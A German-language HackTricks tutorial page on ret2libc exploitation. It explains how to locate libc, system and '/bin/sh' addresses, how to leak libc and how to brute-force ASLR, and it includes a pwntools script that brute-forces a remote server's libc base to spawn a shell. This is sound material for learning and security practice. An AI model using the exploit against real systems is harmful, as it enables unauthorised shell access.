Ret2lib

Unterstützen Sie HackTricks

Grundlegende Informationen

Die Essenz von Ret2Libc besteht darin, den Ausführungsfluss eines anfälligen Programms auf eine Funktion in einer gemeinsam genutzten Bibliothek (z. B. system, execve, strcpy) umzuleiten, anstatt ausführbaren Shellcode auf dem Stapel des Angreifers auszuführen. Der Angreifer erstellt eine Nutzlast, die die Rückkehradresse auf dem Stapel so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, und gleichzeitig dafür sorgt, dass alle erforderlichen Argumente gemäß dem Aufrufkonvention korrekt eingerichtet sind.

Beispiel Schritte (vereinfacht)

  • Ermitteln Sie die Adresse der zu aufrufenden Funktion (z. B. system) und den Befehl, der aufgerufen werden soll (z. B. /bin/sh)

  • Generieren Sie eine ROP-Kette, um das erste Argument zu übergeben, das auf den Befehlszeichenfolgenzeiger zeigt, und den Ausführungsfluss zur Funktion zu lenken

Adressen finden

  • Angenommen, die verwendete libc ist diejenige des aktuellen Rechners, können Sie herausfinden, wo sie im Speicher geladen wird mit:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur system-Funktion mit folgendem Befehl zu finden:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur Zeichenkette /bin/sh-Funktion zu finden mit:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Mit gdb-peda / GEF

Wenn die verwendete libc bekannt ist, ist es auch möglich, Peda oder GEF zu verwenden, um die Adresse der Funktion system, der Funktion exit und des Strings /bin/sh zu erhalten:

p system
p exit
find "/bin/sh"

Verwendung von /proc/<PID>/maps

Wenn der Prozess jedes Mal, wenn Sie mit ihm sprechen (Netzwerkserver), Kinder erstellt, versuchen Sie, diese Datei zu lesen (wahrscheinlich müssen Sie root sein).

Hier können Sie genau herausfinden, wo die libc im Prozess geladen ist und wo sie für jedes Kind des Prozesses geladen wird.

In diesem Fall wird sie bei 0xb75dc000 geladen (Dies wird die Basisadresse der libc sein)

Unbekannte libc

Es könnte möglich sein, dass Sie nicht wissen, welche libc die Binärdatei lädt (weil sie sich auf einem Server befinden könnte, auf den Sie keinen Zugriff haben). In diesem Fall könnten Sie die Schwachstelle ausnutzen, um einige Adressen preiszugeben und herauszufinden, welche libc-Bibliothek verwendet wird:

Leaking libc address with ROP

Und Sie können eine pwntools-Vorlage dafür finden unter:

Leaking libc - template

Bekannte libc mit 2 Offsets

Überprüfen Sie die Seite https://libc.blukat.me/ und verwenden Sie ein paar Adressen von Funktionen innerhalb der libc, um die verwendete Version herauszufinden.

Umgehung von ASLR in 32 Bit

Diese Brute-Force-Angriffe sind nur für 32-Bit-Systeme nützlich.

  • Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse der libc per Brute-Force anzugreifen (nützlich für 32-Bit-Systeme):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der libc-Funktion usleep durch Brute-Force zu ermitteln und dabei 10 (zum Beispiel) als Argument zu übergeben. Wenn der Server zu einem bestimmten Zeitpunkt 10 Sekunden länger braucht, um zu antworten, haben Sie die Adresse dieser Funktion gefunden.

Ein Gadget

Führen Sie eine Shell aus, indem Sie einfach zu einer bestimmten Adresse in libc springen:

One Gadget

x86 Ret2lib Codebeispiel

In diesem Beispiel ist das ASLR-Brute-Force in den Code integriert und die verwundbare Binärdatei befindet sich auf einem Remote-Server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Beispiel

Überprüfen Sie das Beispiel unter:

ROP - Return Oriented Programing

ARM64 Ret2lib Beispiel

Im Fall von ARM64 springt die ret-Anweisung dorthin, wo der x30-Register zeigt, und nicht dorthin, wo der Stack-Register zeigt. Daher ist es etwas komplizierter.

Auch in ARM64 führt eine Anweisung das aus, was die Anweisung ausführt (es ist nicht möglich, mitten in Anweisungen zu springen und sie in neue zu verwandeln).

Überprüfen Sie das Beispiel unter:

Ret2lib + Printf leak - arm64

Ret-in-printf (oder puts)

Dies ermöglicht es, Informationen aus dem Prozess auszulesen, indem printf/puts mit bestimmten Daten als Argument aufgerufen wird. Wenn beispielsweise die Adresse von puts im GOT in einem Aufruf von puts platziert wird, wird die Adresse von puts im Speicher ausgelesen.

Ret2printf

Dies bedeutet im Grunde, einen Ret2lib zu missbrauchen, um ihn in eine printf-Formatstrings-Schwachstelle zu verwandeln, indem man den ret2lib verwendet, um printf mit den Werten aufzurufen, die ausgenutzt werden sollen (klingt nutzlos, ist aber möglich):

Format Strings

Weitere Beispiele & Referenzen

Last updated